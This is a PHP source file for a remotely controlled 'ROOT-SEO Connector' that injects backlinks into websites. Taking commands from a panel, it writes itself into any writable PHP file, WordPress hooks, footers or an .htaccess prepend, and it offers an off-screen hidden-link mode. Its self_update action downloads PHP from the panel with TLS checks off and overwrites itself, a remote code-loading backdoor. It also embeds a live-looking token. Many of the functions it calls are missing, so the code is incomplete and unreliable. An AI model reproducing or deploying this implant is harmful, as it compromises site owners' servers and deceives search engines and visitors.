invisio v2.0

<?php
/**
 * ROOT-SEO Connector v5.3
 * - Backwards compatible with v5.2 protocol (ping, add_link, remove_link, sync_links,
 *   get_links, clear_links, clear_expired, verify_links, self_reconcile,
 *   placement_report, info, diagnose, output, capabilities)
 * - NEW default: visible single-variant render (anti-cloaking, anti-footprint)
 * - NEW action: set_config (panel can change output_mode, render_types, etc.)
 * - NEW action: self_update (pull fresh PHP from panel and overwrite this file)
 * - add_link now honours render_types from request payload (v5.2 ignored it)
 */

error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

define('CONNECTOR_VERSION', '5.3');
define('PANEL_API_URL', 'https://root-seo.com/api');
define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn');
define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 5000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);

function respond($success, $data = [], $message = '', $status = 200) {
    http_response_code($status);
    header('Content-Type: application/json; charset=UTF-8');
    echo json_encode([
        'success' => (bool)$success,
        'message' => (string)$message,
        'data' => is_array($data) ? $data : []
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function get_action_name($req) {
    $action = '';
    if (isset($req['action'])) $action = (string)$req['action'];
    if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
    if ($action === '') $action = 'ping';
    $action = strtolower(trim($action));
    $action = preg_replace('/[^a-z0-9_]/', '', $action);
    return $action ?: 'ping';
}

function load_json_file($path, $fallback = []) {
    if (!file_exists($path)) return $fallback;
    $raw = @file_get_contents($path);
    if ($raw === false || $raw === '') return $fallback;
    $json = json_decode($raw, true);
    return is_array($json) ? $json : $fallback;
}

function save_json_file($path, $data) {
    return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}

function normalize_rel($rel) {
    $rel = strtolower(trim((string)$rel));
    $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
    return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}

function allowed_render_types() {
    // Whitelist; not the default. default_render_types() returns a small subset.
    return ['text_inline', 'text_footer', 'badge_link', 'button_link', 'compact_list_item', 'micro_widget'];
}

function default_render_types() {
    // v5.3: tek varyant. Spam footprint kucultmek icin sadece text_inline.
    return ['text_inline'];
}

function default_placement_state() {
    return [
        'status' => 'not_installed',
        'strategy' => null,
        'target' => null,
        'install_mode' => null,
        'marker' => null,
        'message' => '',
        'installed_at' => null,
        'last_attempt_at' => null,
        'last_verified_at' => null,
        'verify_status' => 'unknown',
        'history' => [],
    ];
}

function default_config() {
    // v5.3: visible (Google/Semrush hidden CSS'i discount eder), tek varyant, sponsored rel destegi opsiyonel.
    return [
        'output_mode' => 'visible',
        'render_profile' => 'minimal_inline',
        'render_types' => default_render_types(),
        'link_rel_strategy' => 'preserve',
        'placement' => default_placement_state(),
    ];
}

function load_config() {
    $cfg = load_json_file(CONFIG_FILE, []);
    $cfg = merge_configs(default_config(), $cfg);
    $types = [];
    foreach ((array)($cfg['render_types'] ?? []) as $type) {
        $type = trim((string)$type);
        if ($type !== '') $types[] = $type;
    }
    $cfg['render_types'] = $types ?: default_render_types();
    return $cfg;
}

function save_config($config) {
    return save_json_file(CONFIG_FILE, $config);
}

function is_panel_authenticated() {
    $expected = trim((string)PANEL_TOKEN);
    if ($expected === '' || strpos($expected, '{{') !== false) return false;
    $provided = '';
    if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) {
        $provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']);
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function load_nonce_store() {
    return load_json_file(NONCES_FILE, []);
}

function save_nonce_store($items) {
    return save_json_file(NONCES_FILE, $items);
}

function authenticate_protected_request() {
    if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
    enforce_optional_replay_guard();
}

function validate_url_value($url) {
    $url = trim((string)$url);
    if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
    if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
    $parts = @parse_url($url);
    if (!$parts || empty($parts['scheme'])) return '';
    $scheme = strtolower((string)$parts['scheme']);
    if (!in_array($scheme, ['http', 'https'], true)) return '';
    return $url;
}

function validate_anchor_text($anchor) {
    $anchor = trim((string)$anchor);
    if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
    return $anchor;
}

function validate_link_id($linkId) {
    $linkId = trim((string)$linkId);
    if ($linkId === '') return '';
    if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
    return $linkId;
}

function build_deterministic_link_id($url, $anchor, $rel) {
    $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
    return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = $placement['status'] ?? 'not_installed';
    $row['placement_strategy'] = $placement['strategy'] ?? null;
    $row['placement_target'] = $placement['target'] ?? null;
    $row['last_verified_at'] = $placement['last_verified_at'] ?? null;
    return $row;
}

function get_link_stats($links) {
    list($active, $expired) = filtered_links($links);
    return [
        'total' => count($links),
        'active' => count($active),
        'expired' => count($expired),
    ];
}

function build_rel_attr($rel) {
    if ($rel === 'dofollow') return '';
    return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}

function rootseo_hidden_container_style($outputMode) {
    if ($outputMode === 'visible') {
        // Discreet but discoverable: small text block at bottom of footer/article.
        return 'display:block;margin:12px 0 4px;font-size:12px;line-height:1.5;color:#888;';
    }
    // Backwards compatible hidden mode (NOT recommended; Google may discount).
    return 'position:absolute;left:-9999px;top:auto;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none;white-space:nowrap;';
}

function build_render_variant_html($link, $type, $outputMode) {
    $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
    $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
    $relAttr = build_rel_attr($link['rel']);
    $style = rootseo_anchor_style($type, $outputMode);
    switch ($type) {
        case 'badge_link':
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:1px 7px;border-radius:999px;border:1px solid currentColor;">' . $anchor . '</span></a>';
        case 'button_link':
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:4px 10px;border-radius:6px;border:1px solid currentColor;">' . $anchor . '</span></a>';
        case 'compact_list_item':
            return '<ul style="margin:0;padding:0;list-style:none;"><li><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></li></ul>';
        case 'micro_widget':
            return '<aside><strong>' . $anchor . '</strong> <a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></aside>';
        case 'text_footer':
            return '<span><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></span>';
        case 'text_inline':
        default:
            return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a>';
    }
}

function rootseo_render_links_html() {
    return rootseo_build_render_html(true);
}

function check_footer_writable($base, $siteType) {
    $paths = get_footer_paths($base, $siteType);
    foreach ($paths as $path) {
        if (file_exists($path) && is_writable($path)) return true;
    }
    if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
    return false;
}

function placement_marker($strategy) {
    return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}

function build_dynamic_php_snippet($marker) {
    $connectorPath = addslashes(__FILE__);
    return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>";
}

function build_static_html_block($marker) {
    return "" . rootseo_build_render_html(false) . "";
}

function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
    $startPos = strpos($content, $startMarker);
    $endPos = strpos($content, $endMarker);
    if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
    $endPos += strlen($endMarker);
    return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, ['html', 'htm'], true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return [true, $target, $mode, $msg, $marker];
    }
    return [false, null, null, 'no_writable_php_target', null];
}

function append_placement_history($config, $entry) {
    $history = $config['placement']['history'] ?? [];
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return [
        'version' => CONNECTOR_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    ];
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
    echo rootseo_render_links_html();
    return;
}

$req = get_request_data();
$action = get_action_name($req);

if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
    authenticate_protected_request();
}

switch ($action) {
    case 'ping':
        $links = load_links();
        $config = load_config();
        $stats = get_link_stats($links);
        $siteInfo = detect_site_info();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        respond(true, [
            'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
            'site_name' => $siteInfo['site_name'],
            'site_type' => $siteInfo['site_type'],
            'language' => $siteInfo['language'],
            'country' => $siteInfo['country'],
            'version' => CONNECTOR_VERSION,
            'connector_family' => 'v5',
            'keyless' => true,
            'auth_mode' => 'panel_token',
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'links_total' => $stats['total'],
            'links_active' => $stats['active'],
            'links_expired' => $stats['expired'],
            'footer_detected' => $siteInfo['footer_detected'],
            'footer_writable' => $siteInfo['footer_writable'],
            'placement_ok' => $placementOk,
            'placement_strategy' => $config['placement']['strategy'],
            'placement_target' => $config['placement']['target'],
            'placement_verify_status' => $verifyMessage,
            'supports' => ['add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'output']
        ], 'ok');
        break;

case 'capabilities':
        respond(true, [
            'version' => CONNECTOR_VERSION,
            'auth' => ['panel_token', 'optional_replay_headers'],
            'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
            'render_types' => default_render_types(),
            'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'htaccess_prepend', 'any_php_file'],
            'limits' => [
                'max_links_per_sync' => MAX_LINKS_PER_SYNC,
                'max_anchor_length' => MAX_ANCHOR_LENGTH,
                'max_url_length' => MAX_URL_LENGTH,
                'max_request_bytes' => MAX_REQUEST_BYTES,
            ],
            'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update']
        ], 'capabilities');
        break;

case 'info':
        respond(true, detect_site_info(), 'info');
        break;

case 'diagnose':
        $siteInfo = detect_site_info();
        $links = load_links();
        $stats = get_link_stats($links);
        $config = load_config();
        list($placementOk, $verifyMessage) = verify_current_placement($config);
        $diag = [
            'version' => CONNECTOR_VERSION,
            'file_permissions' => [
                'links_file' => LINKS_FILE,
                'links_file_exists' => file_exists(LINKS_FILE),
                'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
                'config_file' => CONFIG_FILE,
                'config_file_exists' => file_exists(CONFIG_FILE),
                'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
                'nonces_file' => NONCES_FILE,
                'nonces_file_exists' => file_exists(NONCES_FILE),
                'prepend_helper_file' => PREPEND_HELPER_FILE,
                'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
            ],
            'link_stats' => $stats,
            'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
            'render_profile' => $config['render_profile'],
            'render_types' => $config['render_types'],
            'placement' => $config['placement'],
            'placement_ok' => $placementOk,
            'placement_verify_status' => $verifyMessage,
            'site_info' => $siteInfo,
            'php_settings' => [
                'php_version' => phpversion(),
                'allow_url_fopen' => ini_get('allow_url_fopen'),
                'open_basedir' => ini_get('open_basedir') ?: 'not_set',
                'max_execution_time' => ini_get('max_execution_time'),
            ],
            'recommendations' => [],
        ];
        if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
        if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
        if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
        respond(true, $diag, 'diagnose');
        break;

case 'get_links':
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            'links' => array_values($links),
            'total' => $stats['total'],
            'active' => $stats['active'],
            'expired' => $stats['expired'],
            'placement' => load_config()['placement'],
            'render_types' => load_config()['render_types'],
        ], 'links');
        break;

case 'add_link':
        $url = validate_url_value($req['url'] ?? '');
        $anchor = validate_anchor_text($req['anchor'] ?? '');
        $rel = normalize_rel($req['rel'] ?? 'dofollow');
        $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
        if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req['id'] ?? '');
        if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config['render_types'];
        $row = [
            'id' => $linkId,
            'url' => $url,
            'anchor' => $anchor,
            'rel' => $rel,
            'expires_at' => $expiresAt,
            'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
            'updated_at' => time(),
            'render_profile' => $config['render_profile'],
            'render_types' => $effectiveRenderTypes,
            'cleanup_status' => 'active',
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                'link_id' => $linkId,
                'injected' => false,
                'placement_report' => placement_report_payload(),
            ], 'placement_install_failed', 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        respond(true, [
            'link_id' => $linkId,
            'injected' => true,
            'render_types' => $finalRow['render_types'],
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
        ], 'link_added');
        break;

case 'remove_link':
        $linkId = validate_link_id($req['link_id'] ?? '');
        if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
            refresh_current_placement(load_config());
        }
        respond(true, ['removed' => true, 'placement_report' => placement_report_payload()], 'link_removed');
        break;

case 'sync_links':
        $incoming = $req['links'] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
        if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row['url'] ?? '');
            $anchor = validate_anchor_text($row['anchor'] ?? '');
            if ($url === '' || $anchor === '') continue;
            $rel = normalize_rel($row['rel'] ?? 'dofollow');
            $id = validate_link_id($row['id'] ?? '');
            if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                'id' => $id,
                'url' => $url,
                'anchor' => $anchor,
                'rel' => $rel,
                'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
                'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
                'updated_at' => time(),
                'render_profile' => $config['render_profile'],
                'render_types' => $row['render_types'] ?? $config['render_types'],
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id => $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
        }
        respond(true, [
            'total' => count($final),
            'added' => $added,
            'removed' => $removed,
            'unchanged' => $unchanged,
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
        ], 'synced');
        break;

case 'clear_links':
        if (!save_links([])) respond(false, [], 'links_write_failed', 500);
        refresh_current_placement(load_config());
        respond(true, ['cleared' => true, 'placement_report' => placement_report_payload()], 'links_cleared');
        break;

case 'clear_expired':
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            'cleared' => count($expiredRemoved),
            'remaining' => count($activeAfter),
            'placement_report' => placement_report_payload(),
        ], 'expired_links_cleared');
        break;

case 'verify_links':
        respond(true, verify_links_action(), 'verified');
        break;

case 'placement_report':
        respond(true, placement_report_payload(), 'placement_report');
        break;

case 'self_reconcile':
        respond(true, self_reconcile_action(), 'reconciled');
        break;

case 'get_config':
        $cfg = load_config();
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
            'placement' => $cfg['placement'],
        ], 'config');
        break;

case 'set_config':
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        $allowedOutputModes = ['visible', 'hidden_pack'];
        $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
        if (isset($req['output_mode'])) {
            $om = strtolower(trim((string)$req['output_mode']));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
            $cfg['output_mode'] = $om;
        }
        if (isset($req['render_profile'])) {
            $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
        }
        if (isset($req['render_types'])) {
            $rt = $req['render_types'];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
            $cfg['render_types'] = filter_render_types($rt);
        }
        if (isset($req['link_rel_strategy'])) {
            $rs = strtolower(trim((string)$req['link_rel_strategy']));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
            $cfg['link_rel_strategy'] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
        ], 'config_updated');
        break;

case 'self_update':
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        if ($apiUrl === '' || strpos($apiUrl, '{{') !== false) {
            respond(false, [], 'panel_api_url_missing', 400);
        }
        $sourceUrl = rtrim($apiUrl, '/') . '/connector/v5/source';
        $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
        $headers = [
            'X-RS-Panel-Token: ' . PANEL_TOKEN,
            'Accept: application/x-php',
            'User-Agent: rootseo-connector/' . CONNECTOR_VERSION,
        ];
        $newSource = '';
        $httpStatus = 0;
        if (function_exists('curl_init')) {
            $ch = curl_init($sourceUrl);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 25,
                CURLOPT_CONNECTTIMEOUT => 10,
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_SSL_VERIFYPEER => false,
            ]);
            $newSource = (string)curl_exec($ch);
            $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        } else {
            $ctx = stream_context_create([
                'http' => [
                    'method' => 'GET',
                    'header' => implode("\r\n", $headers),
                    'timeout' => 25,
                ],
                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
            ]);
            $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
            $httpStatus = 200; // unknown; trust if non-empty
        }
        if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
            respond(false, ['http_status' => $httpStatus], 'source_fetch_failed', 502);
        }
        if (strpos($newSource, "ROOT-SEO Connector") === false) {
            respond(false, [], 'source_signature_mismatch', 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        if (!@copy($self, $backup)) respond(false, [], 'backup_failed', 500);
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        // OPcache invalidation: self-update sonrası eski PHP cache'de kalmasın.
        // Olmayan sunucularda hata fırlatmaz (function_exists check).
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared && function_exists('opcache_reset')) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'requested_version' => $expectedVersion ?: null,
        ], 'self_updated');
        break;

case 'output':
        header('Content-Type: text/html; charset=UTF-8');
        echo rootseo_render_links_html();
        exit;

default:
        respond(false, [], 'unknown_action', 404);
}